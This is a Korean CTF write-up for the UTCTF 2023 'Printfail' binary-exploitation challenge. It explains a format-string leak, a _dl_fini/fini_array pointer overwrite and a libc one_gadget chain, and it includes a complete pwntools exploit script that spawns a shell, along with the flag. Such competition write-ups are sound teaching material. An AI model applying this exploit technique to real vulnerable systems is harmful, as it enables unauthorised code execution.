2023 UTCTF) Write-up (PWN/ Printfail)

2023. 3. 13. 19:37CTF

목차

01) Binary Exploitation) Printfail


UTCTF 2023.03.11~13

336 teams total

 

Binary Exploitation) Printfail (985 pts) - 27 Solves

printfail

libc, 컴파일 버전 정보, 도커파일 등은 제공되지 않고 바이너리만 제공되는 fsb 문제이다.

 

출제자 코멘트

디스코드에 버전 정보는 20.04 이나 문제풀이와 관련 없다는 출제자의 코멘트가 있었다.

이 코멘트를 발견하기 전에 이미 leak을 통해 버전 정보를 유추하였다.

더불어 내가 풀이하려는 방식이 출제 의도와 거리가 멀다는 것을 인지하고 있었으나 intend 풀이법이 떠오르지 않았고,

개인적으로 최근 몇주간 펀 문제 솔브가 없었기때문에 어떻게든 풀고싶은 마음에 libc를 이용한 풀이로 문제를 해결하였다.

 

출제의도보다 훨씬 복잡한 풀이를 포함한 라이트업일 수 있음을 미리 알린다.

 

편의상 풀이과정과 코드를 #[stage 1, 2, 3]로 나누어 설명한다.

문제 난이도가 올라가고 코드가 추가되는 부분을 기점으로 stage를 나누었다.

 

# [stage 1]

disassemble main
disassemble run_round

run_round 함수의 printf(buf) 에서 fsb가 발생한다.

buf는 bss영역의 전역변수이므로 bof는 발생하지않는다. fgets를 통해 0x200만큼 입력할 수 있다.

따라서 처음 입력을 통해 바로 필요한 주소들을 모두 leak할 수 있다.

 

leak한 주소를 통해 exploit을 하기 위해서는 fsb를 한번 더 발생시켜야한다.

 

run_round 함수의 인자는 포인터 참조로 메인의 &v4의 값을 변경한다.

fgets에서 buf에 값을 입력했을 때 길이값이 0이면 return 0으로 프로그램이 종료된다.

입력한 buf의 길이가 1이면 v4에 1이 저장되지만 길이가 2 이상일 경우 조건문 거짓으로 v4에 0이 저장된다.

 

따라서 fsb를 통해 v4의 값을 1로 조작할 수 있다면 fsb가 발생하는 while문을 무한히 반복할 수 있다.

 

v4는 메인함수에서 스택에 저장되고 run_round함수 스택 상단에 위치하고있기때문에 fsb를 통해 변조할 수 있다.

v4가 main에 위치한 int형 변수임을 고려하여 스택 위치를 알아내어 %hhn을 통해 1로 변조한다.

 

여기까지가 기본적인 fsb의 풀이이다. 보통 저난이도의 fsb 문제는 got overwrite로 풀이한다. 

 

# [stage 2]

checksec printfail

그러나 보호기법 모두 걸려있기 때문에 RELRO가 Full 상태이므로 fsb를 통해 got를 덮는 일반적인 풀이법으로는 해결이 불가능하다. 또한 buf도 전역변수이므로 스택에 존재하지 않고, shell 함수가 없기때문에 스택 조절 후 ret을 덮는 방식으로 풀기에도 어려움이 있다. (코드주소는 보통 r-x 권한이므로 쓰기 권한이 없음)

 

따라서 _dl_fini의 메커니즘을 이용하여 문제를 풀려고 시도하였다.

_dl_fini 에는 스택의 codebase 주소를 참조하여 fini_array의 주소를 더한 값(포인터) 안의 값(주소)로 점프하는 과정이 있다.

따라서 codebase + fini_array 를 2byte 변조를 이용하여 전역변수 buf의 코드주소로 변조하면 우리가 입력하는 값을 rip로 조절할 수 있다.

 

이는 스택 안에 codebase주소가 있고 또 그 스택을 가리키는 스택이 존재하기때문에 가능한 풀이이다.

_fini_array (바이너리에 존재)
스택의 codebase

 

# [stage 3]

_dl_fini는 exit (프로그램 정상종료) 과정에 포함되므로 while 무한 루프를 위해 입력하던

이 상태에서 rip를 바로 원가젯으로 덮을 수 있었다면 그나마 난이도가 높지 않은 문제였을 것 같다.

rip를 조절할 수 있는 상태에서 조건에 맞는 사용 가능한 원가젯이 존재하지 않았다.

 

one_gadget (libc)

그러나 system함수로 rip를 조절하기에는 주소안에 '/bin/sh'를 입력하고, 입력한 주소를 rdi로 조절하기에 어려움이 있었다.

따라서 libc의 가젯 중 레지스터를 원가젯이 사용 가능하도록 조절할 수 있는 가젯을 찾아보았다.

 

아래는 풀이에 이용한 가젯으로 도달하기까지의 삽질 과정이다.

더보기

가젯에 pop이 포함되어있으면 스택을 건드리기때문에 pop이 포함된 가젯은 사용할 수 없었다.

원래는 jmp로 끝나는 gadget을 신뢰하지 않았으나, 지난 ctf에서 jmp로 끝나는 gadget을 이용한 intend풀이를 본적이 있었기 때문에 jmp로 끝나는 gadget까지 모두 체크하였다.

rip 변조 시점

rip 변조 시점에서

rax, rcx, r12가 0으로 세팅되어있었기 때문에 mov r15를 포함한 가젯을 모두 살펴보았다.

-> 사용가능한 가젯이 보이지 않았다.

rdx, r8이 1, r10이 2로 세팅되어있었으므로 sub에 관한 가젯들을 살펴보았다.

-> 마찬가지로 사용가능한 가젯이 보이지 않았다.

조절할 수 있는 레지스터는 rsi와 r14에 해당하므로 두 레지스터에 관한 가젯들을 살펴보았다.

-> add r14b, r11b ; movq qword ptr [rdi], mm1 ; ret

라는 가젯을 발견하였다.

가젯의 사용법은 아래에서 이어 설명한다.

 

add r14b, r11b ; movq qword ptr [rdi], mm1 ; ret

 

rip 변조 시점에서 r14는 내가 조절할 수 있는 인자이며, 호출된다.

_dl_fini에서 fini_array를 호출하시 사용하는 레지스터가 r14이다.

 

아래 캡처 이미지를 보면 r14가 같을때까지 8바이트씩 빼면서 호출 과정을 반복하는 과정이 있다.

가젯을 이용하면 r14가 강제로 변조되므로 값이 달라져서 구간을 반복하면서 8바이트씩 밀린 r14가 실행된다.

 

r11는 0x246이고, r11b는 byte이므로 0x46이다. r14b에 r11b가 더해지므로 내가 조작했던 주소(buf 주소)에서 70만큼 멀어진다. 이는 buf 입력때 dummy를 입력하여 조절할 수 있다.

1. 처음에는 dummy 62 만큼을 입력하고 그 뒤에 원하는 주소를 입력하면 두번쨰 반복 때 원하는 주소를 호출 시킬 수 있을 것이라고 생각하였다.

2. 실제로는 dummy 54 만큼을 입력하고 그 뒤에 원하는 주소로 입력한 뒤, 0을 8바이트만큼 추가하여 보내면 두번째 반복 때 원하는 주소(main)를 호출 시킬 수 있다.

 

1번 시도에서 buf의 가장 마지막에 입력되는 8bytes로 rdx가 조절되고 r14에 dummy가 들어갔기 때문에 의도대로 조작하기 위해서는 2번과 같이 p64(0)을 보내면 rdx가 0으로 조절될 것이라고 생각하였다.

 

다음은 1번 생각이 틀린 이유와 부가 설명이다.

-> r14가 70 만큼 add되면 mov rdx, r14를 통해 buf의 63~70 위치의 8bytes가 rdx에 저장된다.

--> 그 뒤 sub 14, 0x8로 인해 55~62 위치의 8bytes가 r14가 된다.

 

이 때 buf에 main의 주소를 입력하면 구간을 반복되면서 main이 호출된다.

이 과정에서 rdx를 NULL로 세팅할 수 있었다.

 

main에서 다시 fsb를 발생시킬 수 있고 이때 buf의 첫 8bytes를 0으로 입력하면 rsi가 NULL이 된다.

main이 종료되면 다시 반복되는 루프구간으로 들어간다. 

 

loop

이제 rdx와 rsi를 0으로 조절할 수 있으므로 r14에 원가젯주소가 들어가도록 하면 쉘을 획득할 수 있다.

위와 같은 원리로 dummy 46개를 입력하고 원가젯 주소와 8bytes의 0을 입력하면 원가젯을 call한다.

(sub r14, 0x8 을 한번 더 거쳤기 때문에 54-8 인 46개를 입력해야 바로 원가젯으로 주소를 조절할 수 있다.)


다음과 같은 익스플로잇 코드를 작성하였다.

 

- ex.py

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

#s = process("./printfail")
s = remote("puffer.utctf.live", 4630)

#pause()

# [stage 1]
p = b"%1c%7$hhn" # 7 - stack (while loop 1)
p += b"%4$p" # 4 - code
p += b"%13$p" # 13 - libc
s.sendlineafter(b"No do-overs.\n",p)

s.recv(1) # %1c
codeleak = int(s.recv(14),16) - 0x4040
log.info("code: " + hex(codeleak))
libcleak = int(s.recv(14),16) - 0x24083
log.info("libc: " + hex(libcleak))

# [stage 2]
finiarray_offset = 0x3d90
buf = codeleak + 0x4040 - finiarray_offset - 1
offset = str(hex(buf))[-4:]
log.info("fsb_payload : " + offset)

p = b"%1c%7$hhn" # 7 - stack (while loop 1)
p += b"%" + str(int(offset, 16)).encode() + b"c"
p += b"%32$hn"
s.sendline(p)

s.recvuntil(b"another chance.")
s.recvuntil(b"another chance.")

# [stage 3]
payload = p64(libcleak + 0x000000000016de72) # add r14b, r11b ; movq qword ptr [rdi], mm1 ; ret
payload += b"A"*54 # dummy
payload += p64(codeleak + 0x000000000001294) # main
payload += p64(0) # set register NULL

s.sendline(payload) # _dl_fini+520 / call QWORD PTR [r14] - loop (_dl_fini+534)

sleep(1)

payload = p64(0) # set rsi NULL
payload += b"A"*46 # dummy (sub r14, 0x8)
payload += p64(libcleak+0xe3b04) # execve("/bin/sh", rsi, rdx) / rsi == NULL && rdx == NULL
payload += p64(0) # set register NULL

s.sendline(payload)

s.interactive()

쉘 획득

utflag{one_printf_to_rule_them_all}

내가 풀이한 방식은 '두번의 fsb' 풀이에 적절하다.

그러나 이 문제의 정석 풀이법은 '무한루프의 fsb' 풀이라고 볼 수 있다.

따라서 내 풀이가 unintend라고 예상하고 있으나, 제작자나 다른 솔버의 라이트업이 아직 공개되지 않았다.

다른 방식으로 솔브한 라이트업이 공개된다면 해당 방법 또한 공부할 생각이다.

 

+) unintend/intend을 떠나 libc의 gadget 하나하나를 이렇게까지 자세히 본 경험은 처음이었기 때문에 재미도 있었고 도움이 되었다.

++) 풀이가 복잡했던 만큼 ctf 기간 내에 풀기도 어려웠고, 라이트업 작성에 시간이 오래 걸렸다. 그만큼 애매했던 부분을 확실하게 짚고 풀어 쓰려고 노력하면서 이해도가 높아진 것 같다.

+++) 다른 솔버분이 공개한 라이트업을 확인한 결과 system함수를 실행시키기 위해서는 결국 libc가 필요했던 것 같다. 제작자의 라이트업을 확인한것은 아니기때문에 확실하지 않으나, 무한루프 fsb를 통해 환경변수 포인터를 조작하여 rop를 할 수도 있었던 것 같다.

++++) 제작자의 추가 코멘트와 공식 라이트업

 

GitHub - utisss/UTCTF-23: Source files from UTCTF 2023

Source files from UTCTF 2023. Contribute to utisss/UTCTF-23 development by creating an account on GitHub.

github.com